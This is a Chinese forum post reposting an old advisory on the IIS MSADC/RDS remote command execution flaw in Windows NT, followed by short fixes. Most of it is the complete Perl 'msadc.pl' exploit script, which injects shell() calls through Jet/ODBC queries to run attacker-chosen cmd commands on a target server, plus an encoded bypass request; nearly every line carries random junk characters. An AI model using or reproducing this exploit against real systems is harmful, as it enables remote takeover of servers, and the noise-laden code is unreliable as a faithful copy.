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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) R~T}  
oKsArZG  
涉及程序: NLK1IH#  
Microsoft NT server T[)!7@4r  
,h*N9}xYTi  
描述: rJkJ/9s  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 0&j90J$`  
0FtwDM))  
详细: zWhj >Za  
如果你没有时间读详细内容的话,就删除: (Hj[9[=  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ;Mo_B9  
有关的安全问题就没有了。 ge1. HG  
|=*)a2  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 M:GpyE%  
nj:w1E/R  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 D\b$$z]q  
关于利用ODBC远程漏洞的描述,请参看: 51b%uz  
Y|><Ls6Q  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hPSMPbI  
`_)H aF>/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 vQyY %  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Vx2/^MiXy  
g i6s+2  
这里不再论述。 fs 2MYat  
l=p_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 5{k,/Z[L  
'E9{qPLk(  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset h{iuk3G`h6  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! wpuK?fP  
6ICW>#fI`  
\OtreYi  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 'mbLK#q  
o+&Om~W  
#!perl JR#4{P@A  
# j :B/ FL  
# MSADC/RDS 'usage' (aka exploit) script #55:qc>m  
# 4qp|g'uXT  
# by rain.forest.puppy Rlk3AWl2u  
# -yBKA]"<I  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 8 E\zjT!#\  
# beta test and find errors! PVp>L*|BZ;  
<+g77NL  
use Socket; use Getopt::Std; _*6]4\;  
getopts("e:vd:h:XR", \%args); tRJ5IX##L  
6vsA8u(|V#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; eZAMV/]jH  
'0+~]4&}q  
if (!defined $args{h} && !defined $args{R}) { TT/H"Ri}Jp  
print qq~ tngB;9c+w  
Usage: msadc.pl -h <host> { -d <delay> -X -v } n}.e(z_"  
-h <host> = host you want to scan (ip or domain) gAWi&  
-d <seconds> = delay between calls, default 1 second sFz0:SqhE  
-X = dump Index Server path table, if available 3?a`@C&x  
-v = verbose HTT&T9]  
-e = external dictionary file for step 5 &&9 |;0 <  
NOQ^HEi  
Or a -R will resume a command session ,M.}Qak^  
o& FOp'  
~; exit;} p"p~Bx  
a%B&F|u  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; h8asj0  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} wpM2{NTP  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} wK-VA$;:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); } 7 o!  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4F|79U #  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } xj;:B( i  
K<*6E@+i  
if (!defined $args{R}){ $ret = &has_msadc; aE5-b ub c  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} F1stRZ1ZI  
"ktuq\a@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" KJ'ID  
. "cmd /c "; qx5`lm~L  
$in=<STDIN>; chomp $in; 'Gl~P><e  
$command="cmd /c " . $in ; z1Bi#/i  
`^SRg_rH=`  
if (defined $args{R}) {&load; exit;} P-Y_$Nv0g  
 C7ivA h  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; *^|\#UIk  
&try_btcustmr; ?d-w#<AiV  
YUEyGhkMV{  
print "\nStep 2: Trying to make our own DSN..."; ESRj<p%W  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; &~P4yI;,  
#j~FlY5  
print "\nStep 3: Trying known DSNs..."; }8x+F2i  
&known_dsn; NS z }  
XYzaSp=bb  
print "\nStep 4: Trying known .mdbs..."; lf7bx}P*  
&known_mdb; F)hj\aHm k  
9Vm1q!lE  
if (defined $args{e}){ ][S q^5`  
print "\nStep 5: Trying dictionary of DSN names..."; xKSQz  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } %m |I=P  
ZX:rqc  
print "Sorry Charley...maybe next time?\n"; f"FFgQMkv  
exit; ad: qOm  
(L*GU7m;  
############################################################################## jXE:aWQht  
B>L7UQ6_[  
sub sendraw { # ripped and modded from whisker !{.CGpS ]  
sleep($delay); # it's a DoS on the server! At least on mine... {1OxJn1hd  
my ($pstr)=@_; BS##nS-[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Dm}eX:'{  
die("Socket problems\n"); oN,1ig  
if(connect(S,pack "SnA4x8",2,80,$target)){ gQ{ #C'  
select(S); $|=1; wli cuY?  
print $pstr; my @in=<S>; JLE&nbKS  
select(STDOUT); close(S); =Nt HV4=b  
return @in; sr6 BC.  
} else { die("Can't connect...\n"); }} o4kLgY !Q  
&" t~d}Rg  
############################################################################## L5FOlzn  
k)n b<JW|r  
sub make_header { # make the HTTP request 6#+&/ "*  
my $msadc=<<EOT 9Y,JYc#  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~JXz  
User-Agent: ACTIVEDATA 2xLtJR4L  
Host: $ip cb9-~*1  
Content-Length: $clen ?.VKVTX^  
Connection: Keep-Alive 4[$:KGh3  
T o["o!(;z  
ADCClientVersion:01.06 }d?;kt  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 X vaIOt>A  
}i~k:kmV  
--!ADM!ROX!YOUR!WORLD! juOStTq<  
Content-Type: application/x-varg !Ap5Uwd  
Content-Length: $reqlen OZxJDg  
@.W;3|~qc  
EOT 0A) 0Zw  
; $msadc=~s/\n/\r\n/g; /^.S nqk  
return $msadc;}  8${n}}  
;-Yvi,sS+  
############################################################################## TWpw/osW  
= J;I5:J  
sub make_req { # make the RDS request x 7by|G(  
my ($switch, $p1, $p2)=@_; z{L'7  
my $req=""; my $t1, $t2, $query, $dsn; MV"n{1B  
%b^4XTz  
if ($switch==1){ # this is the btcustmr.mdb query @A1f#Ed<  
$query="Select * from Customers where City=" . make_shell(); $t;:"i>  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7~XC_Yc1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Z`tmuu  
 :RnUNz  
elsif ($switch==2){ # this is general make table query {6ZSf[Y6B  
$query="create table AZZ (B int, C varchar(10))"; fY00  
$dsn="$p1";} wb.yGfJ  
_aFe9+y  
elsif ($switch==3){ # this is general exploit table query Mr)t>4  
$query="select * from AZZ where C=" . make_shell(); h=A  
$dsn="$p1";} ?y-^Fq|h  
TGF$zvd  
elsif ($switch==4){ # attempt to hork file info from index server [K3 te  
$query="select path from scope()"; 4^W!,@W  
$dsn="Provider=MSIDXS;";} Ku ,wI86  
z{W C w  
elsif ($switch==5){ # bad query u4Nh_x8\Nr  
$query="select"; F=Bdgg9s  
$dsn="$p1";} @Y/&qpo$#W  
UT\4Xk<  
$t1= make_unicode($query); /yG7!k]Eg  
$t2= make_unicode($dsn); 12Oa_6<\0;  
$req = "\x02\x00\x03\x00"; inGUN??  
$req.= "\x08\x00" . pack ("S1", length($t1)); . }\8Y=  
$req.= "\x00\x00" . $t1 ; *K|~]r(F?  
$req.= "\x08\x00" . pack ("S1", length($t2)); =VD],R)  
$req.= "\x00\x00" . $t2 ; >_2~uF@pb  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;TJpD0  
return $req;} n*7^lAa2  
O{l4 f:51  
############################################################################## zTa5 N  
So&gDR;b  
sub make_shell { # this makes the shell() statement /"Vd( K2Z  
return "'|shell(\"$command\")|'";} XjN4EDi+E  
B"_O!  
############################################################################## 2GptK"MrD  
 V;%ug'j  
sub make_unicode { # quick little function to convert to unicode >Q/;0>V  
my ($in)=@_; my $out; V$ H(a`!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } h <4`|Bg+  
return $out;} /i,n75/y?  
Lu}jk W*  
############################################################################## "QnYT3[l"  
c~vhkRA  
sub rdo_success { # checks for RDO return success (this is kludge) \n[kzi7  
my (@in) = @_; my $base=content_start(@in); VCWW(Y1Fd  
if($in[$base]=~/multipart\/mixed/){ >aAM&4  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $+Ze"E  
return 0;} Lk !)G'42  
ov_l)vt  
############################################################################## +aOdaNcI  
I}_}VSG(  
sub make_dsn { # this makes a DSN for us BY~Tc5  
my @drives=("c","d","e","f"); {mJ' Lb0;  
print "\nMaking DSN: "; r:bJU1P1$s  
foreach $drive (@drives) { qofAA!3z  
print "$drive: "; EHC7b^|3}  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 6B?jc/V.R  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" N9!L8BBaK  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); #yH+ENp0   
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; =de'Yy:\-  
return 0 if $2 eq "404"; # not found/doesn't exist 8ao-]QoMZ  
if($2 eq "200") { Jc#D4e1#  
foreach $line (@results) { i.t%a{gL  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} G!6b )4L-  
} return 0;} &[[r|  
Nm"P8/-09  
############################################################################## e`n ZiM>  
>/A]C$?3  
sub verify_exists { WML--<dU  
my ($page)=@_; C-y MWr  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~q3O,bb{   
return $results[0];} D6L+mTN  
aZb\uMePK  
############################################################################## ;eYG\uKC{  
HEVj K$  
sub try_btcustmr { "Wj{+ |f  
my @drives=("c","d","e","f"); G[>NP#P  
my @dirs=("winnt","winnt35","winnt351","win","windows"); u+j\PWOtm  
"9_$7.q<y  
foreach $dir (@dirs) { UH MJ(.Wa-  
print "$dir -> "; # fun status so you can see progress N6._J b  
foreach $drive (@drives) { N0p6xg~  
print "$drive: "; # ditto a^%)6E.[,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~z:]rgX  
$reqlenlen=length( "$reqlen" ); +0&^.N  
$clen= 206 + $reqlenlen + $reqlen; T]%-Ri  
`E$vWZq}  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \E?3nQM  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} nB`|VYmOP1  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} /0/ouA>+  
PZ|I3z  
############################################################################## _^& q,S  
=Ydrct  
sub odbc_error { >=0]7k;  
my (@in)=@_; my $base; gML8lu0)  
my $base = content_start(@in); gxl7j Y  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $E@n;0P  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; E<jajYj  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Lng. X8D  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8m{e,o2.  
return $in[$base+4].$in[$base+5].$in[$base+6];} ;}E}N:A  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; NF&Sv  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ~LS</_N  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} U 3< 3T  
RB %+|@c  
############################################################################## t1w]L  
+;~N; BT  
sub verbose { "s0,9; }  
my ($in)=@_; (vG*)a  
return if !$verbose; Dz0D ^(;V  
print STDOUT "\n$in\n";} _8.TPB]no  
5!?5S$>  
############################################################################## e6taQz@}  
w x]?D%l  
sub save { Onq^|r's&  
my ($p1, $p2, $p3, $p4)=@_; Ikdj?"+O  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Z+v,o1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; `^[k8Z(  
close OUT;} oJ4HvrUO  
tY;<S}[@7w  
############################################################################## 0I.KHIB k  
a]r+np]vTy  
sub load { t)&U'^  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4J5zSTw  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); o4" [{LyT  
@p=<IN>; close(IN); J]U_A/f  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <mFDC?j  
$target= inet_aton($ip) || die("inet_aton problems"); DP @1to@  
print "Resuming to $ip ..."; HF FG4'  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; B/;> v  
if($p[1]==1) { *V kaFQZ$,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; M*0^<e~]F  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; q? ">  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); q5_zsUR=  
if (rdo_success(@results)){print "Success!\n";} :XhF:c[.:  
else { print "failed\n"; verbose(odbc_error(@results));}} I#2$CSJ  
elsif ($p[1]==3){ qj;i03 +@  
if(run_query("$p[3]")){ =_`q;Tu=  
print "Success!\n";} else { print "failed\n"; }} X\m\yv}}  
elsif ($p[1]==4){ /F;2wT;  
if(run_query($drvst . "$p[3]")){ &ww-t..  
print "Success!\n"; } else { print "failed\n"; }} , Wd=!if  
exit;} @MOQk  
*F1TZ_GS  
############################################################################## >8"(go+02  
zb{79Os[B  
sub create_table { A M[f  
my ($in)=@_; zd[k|lj  
$reqlen=length( make_req(2,$in,"") ) - 28; 3`&FXgo  
$reqlenlen=length( "$reqlen" ); rp4D_80q  
$clen= 206 + $reqlenlen + $reqlen; @/ ^< 9  
my @results=sendraw(make_header() . make_req(2,$in,"")); 8r(a wp  
return 1 if rdo_success(@results); \oWpyT _  
my $temp= odbc_error(@results); verbose($temp); `D(V_WZ  
return 1 if $temp=~/Table 'AZZ' already exists/; \ UrD%;sq  
return 0;} 08xo_Oysq  
?XY'<]o E  
############################################################################## ]owgsR  
|yk/iO(  
sub known_dsn { )pl5nu#<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go x6,ozun  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", >1`4]%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |~5cN m  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); _O}m0c   
2"G9?)d9  
foreach $dSn (@dsns) { #$Zx].[lc  
print "."; p?L%'  
next if (!is_access("DSN=$dSn")); (e'8>Pv  
if(create_table("DSN=$dSn")){ "|X'qKS(H{  
print "$dSn successful\n"; f,yl'2{  
if(run_query("DSN=$dSn")){ dE"_gwtX  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { uaO.7QSwN  
print "Something's borked. Use verbose next time\n";}}} print "\n";} w8X5kk   
y-26\eY^P  
############################################################################## l+6c|([  
8e-nzc,]  
sub is_access { A8.noV  
my ($in)=@_; 6m$X7;x}  
$reqlen=length( make_req(5,$in,"") ) - 28; {`D]%eRO  
$reqlenlen=length( "$reqlen" ); Ypzmc$Xfu  
$clen= 206 + $reqlenlen + $reqlen; F{jxs/~  
my @results=sendraw(make_header() . make_req(5,$in,"")); J+t51B(a  
my $temp= odbc_error(@results); B6dU6"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !-`L1D_hy  
return 0;} H/{@eaV  
y^ skE{  
############################################################################## /C8}5)  
//c6vG  
sub run_query { <\epj=OclV  
my ($in)=@_; +r!NR?^m  
$reqlen=length( make_req(3,$in,"") ) - 28; )'m;a_r`  
$reqlenlen=length( "$reqlen" ); }@HgFM"  
$clen= 206 + $reqlenlen + $reqlen;  b+a+OI D  
my @results=sendraw(make_header() . make_req(3,$in,"")); k{mBG9[z  
return 1 if rdo_success(@results); 3*I\#Z4p1  
my $temp= odbc_error(@results); verbose($temp); ^gcB+  
return 0;} 5)< Y3nU~  
48 wt  
############################################################################## W7n^]~V  
ta{24{?M\  
sub known_mdb { eOb--@~8  
my @drives=("c","d","e","f","g"); ]<<,{IQ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); v'?Smd1v /  
my $dir, $drive, $mdb; 9KX% O-'  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; B(M-;F  
L6CI9C;-b  
# this is sparse, because I don't know of many bIGcszWr  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -m}'I8  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?'~u)O(n  
"\\system32\\certmdb.mdb", 68P'<|u?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :lXY% [!6P  
~T H4='4W3  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", MDytA0M  
"\\cfusion\\cfapps\\forums\\forums_.mdb", MxpAh<u!vF  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", [KBa=3>{  
"\\cfusion\\cfapps\\security\\realm_.mdb", 8;pY-j #  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", aUNA` L  
"\\cfusion\\database\\cfexamples.mdb", LN+x!#:e  
"\\cfusion\\database\\cfsnippets.mdb", bJn&Y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", /%;J1 {O  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", BeFyx"NBg  
"\\cfusion\\brighttiger\\database\\cleam.mdb", D4c'6WGb@  
"\\cfusion\\database\\smpolicy.mdb", f~W+Rt7o  
"\\cfusion\\database\cypress.mdb", 9_wDh0b~p  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", O^!ds  
"\\website\\cgi-win\\dbsample.mdb", SLEOc OAmD  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Evj%$7H1L1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" SAq .W"ri  
); #these are just eikZ~!@  
foreach $drive (@drives) { eW 4[2Q  
foreach $dir (@dirs){ Z&>Cdgt*  
foreach $mdb (@sysmdbs) { ?u#s?$Y?  
print "."; K9ia|2f  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ m Z +dr[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; v_Vw!u  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ e'uC:O.u  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; KH)-=IJ8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ?ja%*0 R  
o*A, 6y  
foreach $drive (@drives) { U+'zz#0qN  
foreach $mdb (@mdbs) { 0&)6mO  
print "."; Wi=zu[[qc  
if(create_table($drv . $drive . $dir . $mdb)){ ;-"!p  
print "\n" . $drive . $dir . $mdb . " successful\n";  lha;|  
if(run_query($drv . $drive . $dir . $mdb)){ &iWTf K7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; FbuWFC  
} else { print "Something's borked. Use verbose next time\n"; }}}} <5%*"v  
} 47(_5PFb#  
Y `8)`  
############################################################################## - c>Vw&1  
m7i_ Iv  
sub hork_idx { wtSU43D  
print "\nAttempting to dump Index Server tables...\n"; (<_kq;XtN0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ^f>c_[fR  
$reqlen=length( make_req(4,"","") ) - 28; 'AK '(cZ  
$reqlenlen=length( "$reqlen" ); ftMlm_u  
$clen= 206 + $reqlenlen + $reqlen; Ws5N|g  
my @results=sendraw2(make_header() . make_req(4,"","")); m lc8q s  
if (rdo_success(@results)){ 7~J>Ga  
my $max=@results; my $c; my %d; J>#hu3&UOQ  
for($c=19; $c<$max; $c++){ 9b >+ehjB  
$results[$c]=~s/\x00//g; jY\z+lW6A  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; >{ {ds--  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; t0fgG/f'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; @D-I@Cyl  
$d{"$1$2"}="";} %r.OV_04  
foreach $c (keys %d){ print "$c\n"; } &I=o1F2B)  
} else {print "Index server doesn't seem to be installed.\n"; }} i/*)1;xsk  
dH5*%  
############################################################################## hN K wQ  
43h06X`  
sub dsn_dict { _R(ZvsOZ  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); .lj5pmD  
while(<IN>){ nHeJ20  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; xO:h[  
next if (!is_access("DSN=$dSn")); u(3 uZ:  
if(create_table("DSN=$dSn")){ XK\nOHLS  
print "$dSn successful\n"; !pU^?Hy=  
if(run_query("DSN=$dSn")){ l[_antokn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { F|6"-*[RS  
print "Something's borked. Use verbose next time\n";}}} !GvT{  
print "\n"; close(IN);} [xY-=-T*4  
~q+AAWL  
############################################################################## DcFY b|p  
>n/0od9  
sub sendraw2 { # ripped and modded from whisker yw:%)b{  
sleep($delay); # it's a DoS on the server! At least on mine... xU%]G .k  
my ($pstr)=@_; 6<@+J  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9c4p9b!  
die("Socket problems\n"); >lM/\HO2  
if(connect(S,pack "SnA4x8",2,80,$target)){ {hN\=_6*EW  
print "Connected. Getting data"; =D0d+b6  
open(OUT,">raw.out"); my @in; M 2| k.  
select(S); $|=1; print $pstr; b=S"o )>  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} uSYI X  
close(OUT); select(STDOUT); close(S); return @in; H (K!{k  
} else { die("Can't connect...\n"); }} %CnVK1u!  
Ga9iPv  
############################################################################## I 2AQ G  
x1`w{5;C 2  
sub content_start { # this will take in the server headers }~&0<8m  
my (@in)=@_; my $c; [mwqCW&  
for ($c=1;$c<500;$c++) { HfH+U&  
if($in[$c] =~/^\x0d\x0a/){  1H.;r(c  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~]no7O4  
else { return $c+1; }}} ^W=hs9a+F  
return -1;} # it should never get here actually /L2ZI1v  
KM )MUPr  
############################################################################## cXt&k  
|1 qrU(  
sub funky { J V}7c$_  
my (@in)=@_; my $error=odbc_error(@in); 8IL5 :7H8  
if($error=~/ADO could not find the specified provider/){ v -)<nox  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; <(TAA15Xol  
exit;} Ep;?%o,G  
if($error=~/A Handler is required/){ indbg d  
print "\nServer has custom handler filters (they most likely are patched)\n"; @I1*b>X~<  
exit;} b(mZ/2,B  
if($error=~/specified Handler has denied Access/){ < ~CY?  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ff0V6j)ji  
exit;}} ([a;id  
U~sC%Ri-@U  
############################################################################## 2\.23  
$ #/8l58  
sub has_msadc { Fv,c8f  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); E$8-8[  
my $base=content_start(@results); `}P9[HP  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 27[e0 j  
return 0;} (&)uWjq `  
p cUccQ  
######################## /QL<>g  
cahlYv'  
'bZw-t!M@  
解决方案: V6ECL6n  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll q2|z \  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Qu<HeSA_  
cuG;1,?b  
拿出来充数 哈哈
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